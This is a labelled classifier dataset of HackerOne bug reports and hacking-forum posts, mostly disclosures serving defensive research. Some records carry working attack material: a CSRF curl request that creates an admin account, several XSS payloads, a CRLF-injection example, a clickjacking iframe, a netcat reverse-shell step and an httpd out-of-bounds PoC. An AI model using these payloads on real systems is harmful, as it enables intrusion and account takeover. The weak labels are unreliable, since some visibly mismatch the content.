-{"id": "474a5ceb3fffe240416e", "text": "[Cross-Site Request Forgery (CSRF)] Cross-Site Request Forgery\n\nThe application does not throw a CrossSiteRequestForgeryException, if the request does not contain the requesttoken header.\n\nSteps to reproduce \n- run the docker image \"owncloud/server:10.12.2\" , redis and mariadb with docker-compose\n-  log in the application as an admin user\n- insert your cookies in\n\n```bash\ncurl 'http://localhost:8080/settings/users/users' \\\n  -H 'Accept: */*' \\\n  -H 'Connection: keep-alive' \\\n  -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \\\n  -H 'Cookie: oc_sessionPassphrase=<placeholder1>; oclt1tejv3yd=<placeholder2>' \\\n  -H 'Origin: http://abc:8080' \\\n  --data-raw 'username=new_admin&groups%5B%5D=admin&password=a&email=test%40mail.com' \\\n  --compressed\n```\n\nand run it.\n- Login in the application with the username `new_admin` and the passwort `a`\n\nTo add an admin user is only an example. Most if not all requests does not require an CSRF token.\n\nI think the cause of this vulnerability is the second condition of https://github.com/owncloud/core/blob/master/lib/private/AppFramework/Middleware/Security/SecurityMiddleware.php#L145, because the the value of `$this->request->getHeader(\"Authorization\")` is an empty string and not null, if there are no `Authorization` header.\n\n## Impact\n\nUnder the requirement, that the sameSite value of the cookies are set to `lax` or `none`, an attacker can create a website and if the victim surfs to this website cross site requests with the cookies of the victim are possible. Depending on the role/groups of the victim, the attacker can create an admin account with known username and passwort or share files with an other (possible attacker controlled) user and possible other actions.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f574d597cf3aff7b3690", "text": "[Violation of Secure Design Principles] Error Page Content Spoofing or Text Injection\n\n## Summary:\n\nError Page Content Spoofing or Text Injection in two urls\n\nTarget: https://download.prelive.krisp.ai/\nTarget:https://upld.prelive.krisp.ai/\n\n\nDescription: Content spoofing, also referred to as content injection, \"arbitrary text injection\" or virtual defacement, is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a paramete value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.\n\nSteps to Reproduce:\n\n1.Go to https://download.prelive.krisp.ai/  and this url :https://upld.prelive.krisp.ai/\n2.Type any thing after slash, it will be reflected on the page.\n\nReference: \nhttps://hackerone.com/reports/498562\nhttps://hackerone.com/reports/1245051\nhttps://hackerone.com/reports/327671\n\n## Impact\n\nThis attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust. As a side note, this attack is widely misunderstood as a kind of bug that brings no impact.\n\npoc:", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cfe0cc5eeb897ebb9d00", "text": "[Misconfiguration] Password Reuse\n\nIssue Description:\n\nA user is able to reuse any of their old passwords during the change passwords process.\n\nURL & Location:\n\nhttps://hackers.upchieve.org/resetpassword\n\nPOC video : recording-1632907447530.webm\n\n@thug645\n\n## Impact\n\nMisconfiguration", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ce7d4ee0b4afb5dfe563", "text": "Hello everybody , I’m stuck please help. I find access.log of nginix and can read it but when i want to use User agent it don’t add log . any hint ?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0905a81b06c64b12b91f", "text": "I am on flag5. I moved to third user with a shell from external service where it is not upgraded. So, errors reported by shell are missing. Exist any way to fix this. I guess I am inside a restricted “universe” due my filesystem is different than other users. Any hint is welcome! thanks", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-03-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "711f376a4cb7b8258951", "text": "How to get back Maltego tool into Kali machine\n\nI am missing Maltego into my Kali machine, I did update & upgrade and I lost Maltego. Is there any way that I can get back Maltego into my Kali machine? it was the default tool but now it’s missing. anyone who can help, please. thanks.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-02-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e1b7bb037841e2acb9c5", "text": "Hi, I hope someone can give me a hint on this. I’m stuck, I am able to run the code that @XSSDoctor shared, but when running with loader.py the values from $rdx , the only thing I get is a red dollar sign as if it’s a shell, and then when I write any command ( whoami , ls ) goes back to my system prompt, and even the result of echo $? is 0 , so it ran correctly. I don’t know if my shellcode is not correctly formatted, I’m hard stuck. I would appreciate any help, DM me if required.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "389fc9531680a32f8f7c", "text": "[Server-Side Request Forgery (SSRF)] External service interaction ( DNS and HTTP ) in www.████████\n\nThere is External service interaction ( DNS and HTTP ) vulnerability in www.█████████\n\nHere is an example request :\n```\nGET http://9eoecirvai3o4lsdrpqzvyia71dr1g.oastify.com/ HTTP/1.1\nHost: www.██████\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://www.██████/\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nTe: trailers\nConnection: close\n\n```\nAnd the Burp Collaborator recived this information :\nDNS request recived from : ████████\nHTTP request recived from : ███\n\n███\n█████████\n\n## Impact\n\nThe External Service Interaction arise when it is possible for a attacker to induce application to interact with the arbitrary external service such as DNS HTTP etc.\nThe External Service Interaction can is not limited to HTTP,HTTPS or DNS, you can lead to FTP, SMTP etc. Such weakness can lead to DDoS attack.\nThe External Service Interaction can lead to OS Command Injection, DOS Attack, DDOS Attack or Code Manipulation.\n\n## System Host(s)\nwww.████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nUse whitelist check, boundary based validation and sanitization.\nMaintain whitelist at network and web front.\nReview Source Code for functions such as dns.resolve() , dns.query() , sys_exec() etc.\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3b49fda63a2f0399aa9a", "text": "[Unrestricted Upload of File with Dangerous Type] [Kafka Connect] [JdbcSinkConnector][HttpSinkConnector] RCE by leveraging file upload via SQLite JDBC driver and SSRF to internal Jolokia\n\n## Summary:\nThe Aiven JDBC sink includes the SQLite JDBC Driver. This JDBC driver can be used to upload SQLite database files onto the server. The HTTP sink connector allows sending HTTP requests to localhost. There is unprotected Jolokia listening on `localhost:6725`.  JMX exports the `com.sun.management:type=DiagnosticCommand` MBean, which contains the `jvmtiAgentLoad` operation. This operation can be used to execute the SQLite database as JVM Agent by embedding the JVM Agent JAR file inside the SQLite database as an BLOB field in a table.\n\n## Steps To Reproduce:\n\n{F1703051}\n\n  1. Login into my VPS: `ssh ████`, password: `█████████@`\n  1. Execute `nc -nlvp 4446`\n  1. cd to `jdbc-sqlite-jolokia-rce` and run `python3 poc.py` (if running locally, install kafka-python using pip first).\n  1. Reverse shell connection should now be established to my test instance\n\n## Impact\n\nRCE on the Kafka Connect server", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0e1bb642b46012e58fc0", "text": "[Improper Access Control - Generic] Disabled download shares still allow download through preview images\n\n## Summary:\n\n## Steps To Reproduce:\n\n  1. Share a folder and disable the \"Allow download\" permission\n  2. Now as the recipient of the file you can still download the preview of the file\n\nThis is an issue for images but also for shared documents where viewing them in Collabora would present them watermarked but the preview would leak the first page without an watermark.\n\n## Impact\n\nImages could be downloaded and previews of documents (first page) can be downloaded without being watermarked.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "067ba8372f75dad8e8e7", "text": "[Uncontrolled Resource Consumption] [CVE-2022-44570] Possible Denial of Service Vulnerability in Rack’s Range header parsing\n\nI made a report and patch at https://hackerone.com/reports/1668717.\n\nhttps://discuss.rubyonrails.org/t/cve-2022-44570-possible-denial-of-service-vulnerability-in-racks-range-header-parsing/82125\n> There is a possible denial of service vulnerability in the Range header parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44570.\n>Carefully crafted input can cause the Range header parsing component in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that deal with Range requests (such as streaming applications, or applications that serve files) may be impacted.\n\n## Impact\n\nReDoS occurs when crafted values are sent to request headers.\nEspecially in Rails, access to public directories is affected.\n\nIt was possible to attack ReDoS on many servers without authentication, but in the case of this regular expression, if it is ruby 3.2 or higher, there is a memoization countermeasure, so it is not a threat.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-44570"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5cad3b9f8161d40ff847", "text": "It would have been nice of you to mention the technique described here was Heavens Gate. There is also Heresy’s Gate / Hell’s Gate, Halo’s Gate / Tartarus’ Gate.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-01-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a52f2ba8cfd2c35ba620", "text": "[Violation of Secure Design Principles] [█████] Bug Reports allow for Unrestricted File Upload\n\nThe web page https://███████/ allows for users to submit bug reports. Users are allowed to attach a file to a bug report. The extension and size of files are not validated by the web server.\n\n## Impact\n\nAn attacker can attach a malicious file to a bug report. If a support agent opened the malicious file, malware would be executed on the support agent's system.\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\nVersion: 3.4 Build: 35 Revision: 1\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Navigate to the following web page: https://████████/\n2. Create an account\n3. Log in to the account that you created\n4. Click on the text that reads `Report a Bug`\n5. Enter any text in to the `Description` input field\n6. Attach a file with an allowed file extension to the bug report\n7. Click on the text that reads `Submit`\n8. Intercept the `HTTP` request and change the extension of the attached file to one that is not allowed\n\nObserve that the bug report was successfully submitted. This should not be the case, as the attached file has a file extension that is not allowed. The same method can be used to attach a file whose size is greater than 5 megabytes.\n\n## Suggested Mitigation/Remediation Actions\nEnsure that the extension and size of a file are validated by the web server.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "11a90266b12c28336425", "text": "[CRLF Injection] CRLF Injection in Nodejs ‘undici’ via host\n\n**Summary:** undici library should be protects HTTP headers from CRLF injection vulnerabilities. However, CRLF injection exists in the ‘host’ header of undici.request api.\n\n\n**Description:**\nlike https://hackerone.com/reports/1664019\nSource code:\nlib/core/request.js:296\n```javascript\nfunction processHeader (request, key, val) {\n  if (val && (typeof val === 'object' && !Array.isArray(val))) {\n    throw new InvalidArgumentError(`invalid ${key} header`)\n  } else if (val === undefined) {\n    return\n  }\n\n  if (\n    request.host === null &&\n    key.length === 4 &&\n    key.toLowerCase() === 'host'\n  ) {\n    // Consumed by Client\n    request.host = val // without headerCharRegex.exec(val)\n  } else if (\n    request.contentLength === null &&\n...\n```\nExample:\n```javascript\nimport { request } from 'undici'\n\nconst unsanitizedContentTypeInput =  '12 \\r\\n\\r\\naaa:aaa'\n\nconst {\n    statusCode,\n    headers,\n    trailers,\n    body\n} = await request('http://127.0.0.1:23333', {\n    method: 'GET',\n    headers: {\n        'content-type': 'application/json',\n        'host': unsanitizedContentTypeInput\n    }\n})\n\nconsole.log('response received', statusCode)\nconsole.log('headers', headers)\n\nfor await (const data of body) {\n    console.log('data', data)\n}\n\nconsole.log('trailers', trailers)\n\n```\n{F2100713}\n\n## Impact: \n```<=undici@5.14.0```\n\n## Impact\n\n```<=undici@5.14.0```", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9d2a57e55f1206be9463", "text": "Text me If you want! I will support you! my discord satellite#1213", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "936c5bf4d00cb96f30ad", "text": "It seems like you are participating in a capture-the-flag (CTF) or penetration testing challenge and are trying to find specific flags on a target system.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-08-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2fe9bbd8bd1809129134", "text": "Hello my brothers and sisters. I am completely lost on the this wireshrak-lab2. I cannot connect to target IP. By reading the comments I see im supposed ot connect to NOMACHINE which is not in the instructions. tried doing that and nothing happens, says it not configured or something of that nature. I could really use some help.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4149abf05ce8f1e6cf4d", "text": "[Unknown] [ruby]: ZipSlip/TarSlip vulnerability detection\n\nThis bug was reported directly to GitHub Security Lab.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "67add96d8ab4deed90bd", "text": "[Allocation of Resources Without Limits or Throttling] [curl] CVE-2023-38039: HTTP header allocation DOS\n\nHello reporting  for CVE-2023-38039 which has been fixed in the latest release of curl today.\nLink to original report : #2072338\n\nThanks for your help, if there's anything else you need from me I'll happily share.\nHave a nice day !\n\n## Impact\n\nDOS/overloading of user's system through malicious HTTP server interaction with curl's header parsing.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-38039"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "45c1429de35500121aea", "text": "Same here for me. I am fascinated by cybersecurity/hacking. I started with java, because people told me that this would be a good starting point. I got myself a few books and started learning. after finishing them, I joined tryhackme and also started learning python basics (still on it), but I feel like I´m not doing big progess. Im into tryhackme like 3 months and I keep forgetting things and have to watch walkthroughs or look up the internet, but I feel my hunger for new knowledge never ends. If you want to exchange some thoughts or so you can write me a message and I would send you my discord", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-05-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "805285fd70924396b642", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS in ██████████\n\n**Description:**\nXSS vulnerability found on one of `██████████` subdomains. [ DoD scope]\n\nAfter analyzing `https://████████████/` (███████) I found  `path/user/NextRequestAccount.action` page that have `militarybranch` parameter in `GET` request.  `militarybranch` parameter vulnerable to XSS vulnerability.\n\n\n`https://█████████████/` requires a valid user to access the contents, but the registration page is accessible to all visitors without any restrictions or credentials.\n████\n\nUser should select `Military Branch` in registration page and there is reflection point! \nModifying `militarybranch` parameter in request and set payload on it, you'll receive `XSS Success!` alert box.\n\nPayload:\n`https://████████████/path/user/NextRequestAccount.action?militarybranch=███%3CHTMl%0Aonmouseover%0A=%0Aalert(%27XSSSuccess!%27)%0Dx//&firstName=0xd3adc0de&middleName=0xd3adc0de&lastName=0xd3adc0de&email=0xd3adc0de&title=0xd3adc0de&department=&organization=&ship=0xd3adc0de&orgid=&location=`\n█████\n\n## References\nhttps://owasp.org/www-community/attacks/xss/\n\n## Impact\n\nBy exploiting this vulnerability an attacker can trick the users to execute XSS and steal user's cookies.\nLaunch advanced phishing attacks.\nExecute browser-based attacks etc.\n\n## System Host(s)\n████████████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n* Visit the following URL \n`https://████████████/path/user/NextRequestAccount.action?militarybranch=████%3CHTMl%0Aonmouseover%0A=%0Aalert(%27XSSSuccess!%27)%0Dx//&firstName=0xd3adc0de&middleName=0xd3adc0de&lastName=0xd3adc0de&email=0xd3adc0de&title=0xd3adc0de&department=&organization=&ship=0xd3adc0de&orgid=&location=` you will receive `XSS Success!` alert box.\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d0eb3326811359401db3", "text": "[Cross-site Scripting (XSS) - DOM] DOM-XSS\n\nhello defense team :\nI found DOM-XSS-SiteMinder on this subdomain : https://████/\n\n## Impact\n\nAn attacker with access to the Siteminder CA could perform a cross-site scripting attack, which it would use to cause information leaks, privilege escalation, and/or denial of service.\n\n## System Host(s)\n██████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2013-5968\n\n## Steps to Reproduce\nSteps :\n   1 go to https://███/siteminderagent/forms/smpwservices.fcc?SMAUTHREASON=7&USERNAME=\\u003cimg\\u0020src\\u003dx\\u0020onerror\\u003d\\u0022confirm(document.domain)\\u0022\\u003e\n\n    XSS will be triggered\nthis is payload :\n\\u003cimg\\u0020src\\u003dx\\u0020onerror\\u003d\\u0022confirm(document.domain)\\u0022\\u003e\n\n## Suggested Mitigation/Remediation Actions", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2013-5968"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "52fb1c9d1944bb736111", "text": "[Information Disclosure] Read beyond bounds in ap_strcmp_match() [zhbug_httpd_47.7]\n\nGreetings. I have found a read-beyond-bounds attack against httpd that allows an attacker to search httpd's memory for strings matching an attacker-specified pattern [1]. The attack arises from an overflow in ap_strcmp_match() (server/util.c). [2] The vulnerability can be reached via an LUA program that uses r:strcmp_match() on a long-enough attacker-provided string, and possibly via other means.\n\nAttached is a POC that demonstrates the bug.\n\nThe buggy code (from trunk) is the entire function, which uses |int| instead of |apr_size_t| to index a string that can be longer than the maximum positive value of an |int|:\n```\n187: AP_DECLARE(int) ap_strcmp_match(const char *str, const char *expected)\n188: {\n189:     int x, y;\n190:\n191:     for (x = 0, y = 0; expected[y]; ++y, ++x) {\n192:         if (expected[y] == '*') {\n193:             while (expected[++y] == '*');\n194:             if (!expected[y])\n195:                 return 0;\n196:             while (str[x]) {\n197:                 int ret;\n198:                 if ((ret = ap_strcmp_match(&str[x++], &expected[y])) != 1)\n199:                     return ret;\n200:             }\n201:             return -1;\n202:         }\n203:         else if (!str[x])\n204:             return -1;\n205:         else if ((expected[y] != '?') && (str[x] != expected[y]))\n206:             return 1;\n207:     }\n208:     return (str[x] != '\\0');\n209: }\n```\nThus, the increments of |x| (and also |y|; not demonstrated here) can overflow from `0x7fffffff` (positive) to `0x80000000` et seq (negative), which causes references to |str[x]| to examine memory from `0x80000000` bytes *before* the beginning of |str| forward. The attached POC demonstrates this issue.\n\nTo use the POC:\n\n   1. Build bug_client.cpp.\n   2. Copy bug_47.7.1.lua into folder /bug47.7/bug47.7.1.lua .\n   3. Start httpd (with LUA enabled), attach a debugger to it, and set a BP on ap_strcmp_match().\n   4. Run bug_client.cpp.\n   5. When the BP fires, step to line 196. Set a conditional breakpoint on this line for when x > `0x7fffffff` and proceed (this can take a long time, so you might instead try proceeding then quickly breaking execution and checking the value of |x|, iterating until it's reasonable to set the conditional breakpoint).\n   6. When the conditional BP fires, observe that line 196 references |str-0x80000000|, as does line 198. Step several more times and watch the code march upward toward |str|. On a busy system, these locations are likely to contain heap data. On an idle system they could be inaccessible.\n\n[1] The attacker cannot retrieve that matching strings, only determine whether they exist.\n[2] The same bug also exists in ap_strcasecmp_match().\n\n```\n-------- bug47.7.1.lua ----------------------------------------------------\nfunction handle(r)\n   local s=r:requestbody()\n   local m=r.strcmp_match(s, \"*secret*\")\n   if m then\n      r:puts(\"Found a 'secret'\")\n   end\nend\n-------- bug47.7.1.lua ----------------------------------------------------\n```\n```\n-------- bug_client.cpp ----------------------------------------------------\n#define DO_BUG_47_7\n\n#undef UNICODE\n\n#define WIN32_LEAN_AND_MEAN\n#define _CRT_SECURE_NO_WARNINGS\n\n#include <windows.h>\n#include <winsock2.h>\n#include <ws2tcpip.h>\n#include <stdlib.h>\n#include <stdio.h>\n\n#pragma comment (lib, \"Ws2_32.lib\")\n#pragma warning (disable:6262)\nconstexpr char SERVER_NAME[] = \"127.0.0.1\";\n\nvoid FillBuffer(\n    const char *pInput,\n    char *pOutput,\n    size_t numOutputBytes) {\n\n    char *pEnd = pOutput + numOutputBytes;\n    size_t inlen = strlen(pInput);\n    while (pOutput < pEnd) {\n        size_t numBytes = min(inlen, static_cast <size_t> (pEnd - pOutput));\n        memcpy(pOutput, pInput, numBytes);\n        pOutput += inlen;\n    }\n}\n\nint ConnectSocket(const addrinfo* pAddrInfo, SOCKET* pSocket) {\n    int iResult;\n    *pSocket = socket(pAddrInfo->ai_family, pAddrInfo->ai_socktype, pAddrInfo->ai_protocol);\n    if (*pSocket == INVALID_SOCKET) {\n        printf(\"socket failed with error: %ld\\n\", WSAGetLastE", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "12868739ff61a14637fd", "text": "[Information Disclosure] Exposed .bash_history at http://21days2017.mtncameroon.net/.bash_history\n\n## Summary:\nDear Security Team,\n\nI found some dangerous urls on your servers that reveal important informations about the servers configuration themself and that are very interesting from a hacker point of view.\n\n## Steps To Reproduce:\nhttp://21days2017.mtncameroon.net/.bash_history\n\n##Remediation\n\n*  disable that kind of function on production server\n*  protect them with strong credentials\n*   use ip restriction\n\nBest regards,\nVishu10x00 ❤️\n\n## Impact\n\nWhile this does not represent a real security issue, this reveal important informations about your system and could be used by a malicious user for a future attack.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9578317b45a28b6a68d5", "text": "[Insecure Direct Object Reference (IDOR)] IDOR - Delete all Licenses and certifications from users account using CreateOrUpdateHackerCertification GraphQL query\n\n**Summary:**\nHey team,\n\nWhile editing our **Licenses and certifications** if we change the ID number we can delete other users **Licenses and certifications**. it simply can be done by editing the ID number in our graphql query.\nIf change the ID from 1 to X possible range then we can delete all the **Licenses and certifications** present between these.\n\n\n### Steps To Reproduce\n\n1. Log in to your own account in two browsers A and B with User A and User B\n2. Create your own **Licenses and certifications* in both the account\n3. Now edit your own **Licenses and certifications* and Intercept this using a Burp Proxy \n4. Now In the body change the **ID** number and you will be able to delete all the **Licenses and certifications** present in HackerOne \n5. For now change the ID to the **Licenses and certifications** ID of the Other account and it will be deleted.\n\nPoC Video: ████\n\n## Impact\n\nAble to delete all the **Licenses and certifications** present in HackerOne", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "911953e7f26406d161df", "text": "In typical fashion I got this two minutes after I posted. I could have sworn I tried this method a few times already but this seemed work this time. My clues would CUPP Harry usernameGenerator Harry Potter maybe don’t be so sed about this one.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9beec8bf1da61cf6e415", "text": "[Cross-site Scripting (XSS) - Stored] Stored Cross Site Scripting at http://www.grouplogic.com/ADMIN/store/index.cfm?fa=disprocode\n\n## Summary\nThe application exposes store ADMIN page at below URL and is accessible without authentication. \n```\nhttp://www.grouplogic.com/ADMIN/store/index.cfm\n```\nThe ADMIN page provides several functionalities.  Among them the below functionality is found to be vulnerable to stored XSS.\n- View and Edit Promo Code (http://www.grouplogic.com/ADMIN/store/index.cfm?fa=disprocode)\n\n\n## Steps To Reproduce\n1. Navigate to  below URL to access the store admin page without authentication.\n```\nhttp://www.grouplogic.com/ADMIN/store/index.cfm\n```\n2. Navigate to promo codes section. (http://www.grouplogic.com/ADMIN/store/index.cfm?fa=disprocode)\n3. Edit any promo code.\n4. Add any of below payload in the Promo Code field.\n```\nPayload 1:\n----------\n<h1 onmouseover=alert(document.domain)>XSS</h1>\n\nPayload 2:\n----------\n<img src=x onerror=alert(1)>\n```\n5. Click the Edit Promo Code Button to save modified the promo code.\n6. Navigating again to the promo code page, in case of payload 1, XSS string is rendered, hovering mouse over it triggers xss. In case of payload 2, as soon as the promo code page is opened, xss triggers.\n\n## Recommendations\nIt is highly recommended to implement output encoding.  \nEncode the following characters with HTML entity encoding to prevent switching into any execution context, such as script, style, or event handlers. Using hex entities is recommended in the spec. The 5 characters significant in XML``` (&, <, >, \", ')```:\n\n```\n & --> &amp;\n < --> &lt;\n > --> &gt;\n \" --> &quot;\n ' --> &#x27;\n```\nReference: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\n\n## Impact\n\nXSS can be  used to :\n- Steal cookies, password\n- Website Defacement\n- Redirect Victim to Malicious site \n- Log keystrokes etc.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2daf844c35af6e73bd33", "text": "[UI Redressing (Clickjacking)] Clickjacking at  app.lemlist.com\n\nHi team,\n\nWhile performing security testing of your website i have found the vulnerability called Clickjacking.\nMany URLS are in scope and vulnerable to Clickjacking.\n\nWhat is Clickjacking ?\n\nClickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.\n\nThe server didn't return an X-Frame-Options header which means that this website could be at risk of a clickjacking attack. The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame> or <iframe>. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.\nThis vulnerability affects Web Server.\n\n\nVulnerable Urls:\n=============\n\nhttps://app.lemlist.com\n\nPut every above url one by one in the code of iframe, which is given below\n```javascript\n<html lang=\"tr-TR\">\n<kafa>\n<meta karakter kümesi=\"UTF-8\">\n<title>Çerçeve Yapıyorum</title>\n</head>\n<body>\n<h3>clickjacking güvenlik açığı</h3>\n<iframe src=\"https://app.lemlist.com/teams/tea_sgYr5dZr478x4FQ9K/settings/user/usr_Z3GZ4DDHLLyLyZHj5/users\" height=\"550px\" width=\"700px\"></iframe>\n</body>\n</html>\n```\n\n## Impact\n\nUsing a similar technique, keystrokes can also be hijacked. With a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be led to believe they are typing in the password to their email or bank account, but are instead typing into an invisible frame controlled by the attacker.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "42ec999344d1853e7ac2", "text": "Beginner Problems\n\n\tDiscussion in 'C++' started by Summer, Nov 14, 2020.\n\nsimply usecin>> s;no need to use getline if you are taking string as a datatypeand take care that C++ is case sensitive so in input, it should be Hello World only", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "go4expert", "timestamp": "2022-07-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
